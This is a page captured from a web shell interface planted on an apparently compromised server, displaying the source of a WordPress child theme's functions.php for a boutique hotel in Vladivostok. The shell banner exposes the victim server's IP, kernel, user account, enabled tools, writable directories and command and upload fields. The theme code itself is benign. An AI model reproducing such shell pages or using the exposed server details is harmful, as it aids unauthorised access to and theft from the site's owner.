403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/ephotel.ru/wordpress/wp-content/themes/generatepress_child/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/ephotel.ru/wordpress/wp-content/themes/generatepress_child/functions.php
<?php
    /**
     * GeneratePress child theme functions and definitions.
     *
     * Add your custom PHP in this file.
     * Only edit this file if you have direct access to it on your server (to fix errors if they happen).
     */


    require __DIR__ . '/inc/metrika-standart.php';


    require __DIR__ . '/inc/disable-comments.php';
    require __DIR__ . '/inc/wp-debloat.php';

    require __DIR__ . '/inc/seo.php';
    require __DIR__ . '/inc/robots.php';

    require __DIR__ . '/inc/nginx-fastcgi-cache-purge.php';

    require __DIR__ . '/inc/image.php';

    require __DIR__ . '/inc/rooms.php';


if (is_page(5)) {
    require __DIR__ . '/wpt-lightbox.php';
}
    // preconnect scripts

    // <link rel="prefetch" href="path/to/your/script.js" as="script">

    add_filter('wp_resource_hints',
        function ($urls, $relation_type) {

                // Prefetch script
                if ('prefetch' === $relation_type) {
                    $urls[  ] = [
                        'href' => 'https://widget.reservationsteps.ru/iframe/library/dist/booking_iframe.js',
                        'as'   => 'script',
                     ];
                }

                // Preconnect to a domain
                if ('preconnect' === $relation_type) {

                    $urls[  ] = [
                        'href'        => 'https://reservationsteps.ru/',
                        'rel'         => 'preconnect',
                        'crossorigin' => 'anonymous',
                     ];
                     $urls[  ] = [
                        'href'        => 'https://widget.reservationsteps.ru/',
                        'rel'         => 'preconnect',
                        'crossorigin' => 'anonymous',
                     ];
                    $urls[  ] = [
                        'href'        => 'https://mc.yandex.ru/',
                        'rel'         => 'preconnect',
                        'crossorigin' => 'anonymous',
                     ];
                    $urls[  ] = [
                        'href'        => 'https://www.youtube.com/',
                        'rel'         => 'preconnect',
                        'crossorigin' => 'anonymous',
                     ];
                    $urls[  ] = [
                        'href'        => 'https://public-api.reservationsteps.ru/',
                        'rel'         => 'preconnect',
                        'crossorigin' => 'anonymous',
                     ];
                    $urls[  ] = [
                        'href'        => 'https://storage.reservationsteps.ru/',
                        'rel'         => 'preconnect',
                        'crossorigin' => 'anonymous',
                     ];
                }

            return $urls;
        }, 10, 2);


add_action( 'wp_head', 
function () {
    if (is_page(1013)) {
        ?>
        <link rel="preload" href="https://widget.reservationsteps.ru/iframe/library/dist/booking_iframe.js" as="script">
        <?php
    }
    if (is_page(5)) {
        ?>
        <link rel="preload" href="https://ephotel.ru/wp-content/uploads/main-1-2.avif" as="image">
        <?php
    }
}, 1);



    add_action('wp_head', function () {

        if(!is_front_page() || !is_home()) return;

    ?>
<meta name="description" content="Бутик-отель на море в центре Владивостока в районе Эгершельд с видом на Амурский залив. Уютные номера для отдыха, командировок, длительного проживания." />
<meta name="keywords" content="EP Boutique Hotel,отель во владивостоке с видом на море,отель владивосток центр,отель владивосток центр у море,ЕП Бутик-отель,еп бутик отель владивосток,еп бутик отель владивосток официальный,гостиницы владивосток центр города,владивосток забронировать гостиницу эгершельд,отель эгершельд,владивосток бутик отель" />
<meta property="og:url" content="https://ephotel.ru" />
<meta property="og:title" content="EP Boutique Hotel | Отель в центре Владивостока с видом на море." />
<meta property="og:description" content="EP Boutique Hotel - центр Владивостока, вид на море, уютные номера.Для отдыха, командировок, длительного проживания." />
<meta property="og:type" content="website" />
<meta property="og:image" content="https://ephotel.ru/940.webp" />
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
<link rel="manifest" href="/site.webmanifest">
<script type="application/ld+json"> {"@context": "https://schema.org", "@type": "Hotel", "name": "EP Boutique Hotel", "alternateName": "EastPoint Boutique Hotel", "description": "Бутик-отель в центре Владивостока, вид на море, уютные номера. Для отдыха, командировок, длительного проживания.", "address": {"@type": "PostalAddress", "streetAddress": "Приморский край, г. Владивосток, ул. Авраменко, д. 2", "addressLocality": "Владивосток", "addressRegion": "Приморский край", "postalCode": "690003", "addressCountry": "RU" }, "telephone": "+7-423-239-3039", "email": "hotel@dobrolom.com", "url": "https://ephotel.ru", "image": "https://ephotel.ru/940.webp", "logo": "https://ephotel.ru/wp-content/uploads/logo_hotel.avif", "starRating": {"@type": "Rating", "bestRating": "5", "ratingValue": "4.8", "worstRating": "1" }, "priceRange": "$$", "checkinTime": "14:00", "checkoutTime": "12:00", "amenityFeature": [{"@type": "LocationFeatureSpecification", "name": "Free WiFi", "value": "true" }, {"@type": "LocationFeatureSpecification", "name": "Fitness Center", "value": "true" }, {"@type": "LocationFeatureSpecification", "name": "Restaurant", "value": "true" } ], "geo": {"@type": "GeoCoordinates", "latitude": 43.103096, "longitude": 131.8602359 }, "hasMap": "https://maps.app.goo.gl/o2u8xaQVdKFp6x5f9", "potentialAction": {"@type": "ReserveAction", "target": {"@type": "EntryPoint", "urlTemplate": "https://ephotel.ru/%d0%be%d0%bd%d0%bb%d0%b0%d0%b9%d0%bd-%d0%b1%d1%80%d0%be%d0%bd%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5/", "inLanguage": "ru" }, "result": {"@type": "Reservation", "name": "Онлайн-бронирование", "description": "Укажите даты проживания в отеле и подберите подходящий номер." } }, "aggregateRating": {"@type": "AggregateRating", "ratingValue": "4.8", "bestRating": "5", "ratingCount": "200", "worstRating": "1" }, "review": [{"@type": "Review", "author": {"@type": "Person", "name": "Evgeny" }, "datePublished": "2022-02-04", "reviewBody": "Exceptional", "reviewRating": {"@type": "Rating", "bestRating": "10", "ratingValue": "10", "worstRating": "1" } }, {"@type": "Review", "author": {"@type": "Person", "name": "Дмитрий" }, "datePublished": "2022-03-04", "reviewBody": "Чистый, комфортный номер. Первый этаж, люди ходят мимо окон.", "reviewRating": {"@type": "Rating", "bestRating": "10", "ratingValue": "10", "worstRating": "1" } } ] } </script>
<?php
    });

    // remove generatepress Template metabox

    // add_filter('generate_metabox_capability', function () {
    //     return 'admin';
    // });

    add_filter('generate_schema_type', '__return_false');



function stack_wp_script_version_change(){
    global $wp_scripts;
    
    /** @var _WP_Dependency $regScript */
    foreach ( $wp_scripts->registered as &$regScript ) {
        $regScript->ver = "10.2.2";
    }

}
add_action('wp_enqueue_scripts','stack_wp_script_version_change',999);



    add_action('wp_enqueue_scripts', function () {

        // wp_dequeue_style( 'global-styles' );

        wp_enqueue_style('generate-child', get_stylesheet_directory_uri() . '/style.min.css', [ 'generate-style' ], '10.2.3');

        // wp_enqueue_script( 'generate', get_stylesheet_directory_uri() . '/generate.min.js', '', '', true );

        // wp_localize_script('generate', 'da_object', [ 'ajax_url' => admin_url('admin-ajax.php') ]);

    });

    add_action('enqueue_block_editor_assets', function () {
        wp_enqueue_style('generate-child-editor-style', get_stylesheet_directory_uri() . '/style.css', [  ], null);
    });

    /*************CACHE HOOKS******************/

    add_filter('wp_headers', 'wpse167128_nocache');
    function wpse167128_nocache($headers)
    {
        unset($headers[ 'Cache-Control' ]);
        return $headers;
    }

    function varnish_safe_http_headers()
    {
        header('X-UA-Compatible: IE=edge,chrome=1');
    }
    add_action('send_headers', 'varnish_safe_http_headers');

    /*************Enable SVG upload*************/

    add_filter('upload_mimes', function ($mimes) {
        if (current_user_can('edit_others_posts')) {
            $mimes[ 'svg' ] = 'image/svg+xml';
        }
        return $mimes;
    });

    /*****************FOOTER***********************/

    add_filter('generate_copyright', 'tu_custom_copyright');
    function tu_custom_copyright()
    {
        $year    = date('Y');
        $website = get_bloginfo('name');
        echo "© " . $year . " " . $website . " • Все права защищены.";
    }

    /****************ADMIN CUSTOM LOGO*********************/

    function wpb_login_logo()
{?>
    <style type="text/css">
        #login h1 a, .login h1 a {
        background-image: url(/android-chrome-192x192.png);
        height:150px;
        width:150px;
        background-size: 150px 150px;
        background-repeat: no-repeat;
        padding-bottom: 10px;
        }
    </style>
<?php }
    add_action('login_enqueue_scripts', 'wpb_login_logo');

    function wpb_login_logo_url()
    {
        return home_url();
    }
    add_filter('login_headerurl', 'wpb_login_logo_url');

    function wpb_login_logo_url_title()
    {
        return 'EP Hotel';
    }
    add_filter('login_headertitle', 'wpb_login_logo_url_title');

    // Customize login header text.
    add_filter('login_headertext', 'wpdoc_customize_login_headertext');

    function wpdoc_customize_login_headertext($headertext)
    {
        $headertext = 'EP Hotel';
    return $headertext;
}


/******************************************/

add_filter( 'wp_nav_menu_items', function( $items, $args ) {

    $add_to_link = site_url();

    if(is_front_page() || is_home()){

        $add_to_link = '';
        
    }
    if ( $args->theme_location == 'primary' ) {

        $items .= '<li><a rel="noopener nofollow" target="_blank" href="https://wa.me/79502836717" class="wp-block-social-link-anchor"><svg width="1em" height="1em" fill="currentColor" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M 12.011719 2 C 6.5057187 2 2.0234844 6.478375 2.0214844 11.984375 C 2.0204844 13.744375 2.4814687 15.462563 3.3554688 16.976562 L 2 22 L 7.2324219 20.763672 C 8.6914219 21.559672 10.333859 21.977516 12.005859 21.978516 L 12.009766 21.978516 C 17.514766 21.978516 21.995047 17.499141 21.998047 11.994141 C 22.000047 9.3251406 20.962172 6.8157344 19.076172 4.9277344 C 17.190172 3.0407344 14.683719 2.001 12.011719 2 z M 12.009766 4 C 14.145766 4.001 16.153109 4.8337969 17.662109 6.3417969 C 19.171109 7.8517969 20.000047 9.8581875 19.998047 11.992188 C 19.996047 16.396187 16.413812 19.978516 12.007812 19.978516 C 10.674812 19.977516 9.3544062 19.642812 8.1914062 19.007812 L 7.5175781 18.640625 L 6.7734375 18.816406 L 4.8046875 19.28125 L 5.2851562 17.496094 L 5.5019531 16.695312 L 5.0878906 15.976562 C 4.3898906 14.768562 4.0204844 13.387375 4.0214844 11.984375 C 4.0234844 7.582375 7.6067656 4 12.009766 4 z M 8.4765625 7.375 C 8.3095625 7.375 8.0395469 7.4375 7.8105469 7.6875 C 7.5815469 7.9365 6.9355469 8.5395781 6.9355469 9.7675781 C 6.9355469 10.995578 7.8300781 12.182609 7.9550781 12.349609 C 8.0790781 12.515609 9.68175 15.115234 12.21875 16.115234 C 14.32675 16.946234 14.754891 16.782234 15.212891 16.740234 C 15.670891 16.699234 16.690438 16.137687 16.898438 15.554688 C 17.106437 14.971687 17.106922 14.470187 17.044922 14.367188 C 16.982922 14.263188 16.816406 14.201172 16.566406 14.076172 C 16.317406 13.951172 15.090328 13.348625 14.861328 13.265625 C 14.632328 13.182625 14.464828 13.140625 14.298828 13.390625 C 14.132828 13.640625 13.655766 14.201187 13.509766 14.367188 C 13.363766 14.534188 13.21875 14.556641 12.96875 14.431641 C 12.71875 14.305641 11.914938 14.041406 10.960938 13.191406 C 10.218937 12.530406 9.7182656 11.714844 9.5722656 11.464844 C 9.4272656 11.215844 9.5585938 11.079078 9.6835938 10.955078 C 9.7955938 10.843078 9.9316406 10.663578 10.056641 10.517578 C 10.180641 10.371578 10.223641 10.267562 10.306641 10.101562 C 10.389641 9.9355625 10.347156 9.7890625 10.285156 9.6640625 C 10.223156 9.5390625 9.737625 8.3065 9.515625 7.8125 C 9.328625 7.3975 9.131125 7.3878594 8.953125 7.3808594 C 8.808125 7.3748594 8.6425625 7.375 8.4765625 7.375 z"></path></svg><span class="wp-block-social-link-label screen-reader-text">WhatsApp</span></a></li>';

        $items .= '<li><a rel="noopener nofollow" target="_blank" href="https://wa.me/79502836717" class="wp-block-social-link-anchor"><a rel="noopener nofollow" target="_blank" href="https://t.me/amirohotel" class="wp-block-social-link-anchor"><svg xmlns="http://www.w3.org/2000/svg" width="0.9em" height="0.9em" viewBox="0 0 100 100" fill="currentColor" aria-hidden="true"><path d="M6.874 44.24c26.844-11.695 44.744-19.405 53.7-23.13C86.146 10.472 91.46 8.624 94.923 8.563c.762-.013 2.465.176 3.568 1.071.932.756 1.188 1.777 1.31 2.494.123.716.276 2.349.155 3.625-1.386 14.56-7.382 49.894-10.433 66.201-1.29 6.9-3.832 9.214-6.293 9.44-5.347.493-9.408-3.533-14.587-6.928-8.104-5.313-12.682-8.62-20.55-13.804-9.09-5.99-3.197-9.284 1.984-14.665C51.433 54.59 74.994 33.16 75.45 31.216c.057-.243.11-1.15-.429-1.628-.538-.479-1.333-.315-1.906-.185-.813.185-13.76 8.742-38.84 25.672-3.676 2.524-7.004 3.753-9.987 3.689-3.287-.071-9.612-1.86-14.313-3.388-5.767-1.874-10.35-2.865-9.95-6.049.207-1.658 2.49-3.353 6.85-5.087Z" style="stroke-width:1"/></svg><span class="wp-block-social-link-label screen-reader-text">Telegram</span></a></li>';

        $items .= '<li class="header-button"><a href="tel:+79502836717">+7 950 283 67 17</a></li>';

    }

    return $items;
    
}, 10, 2 );

Youez - 2016 - github.com/yon3zu
LinuXploit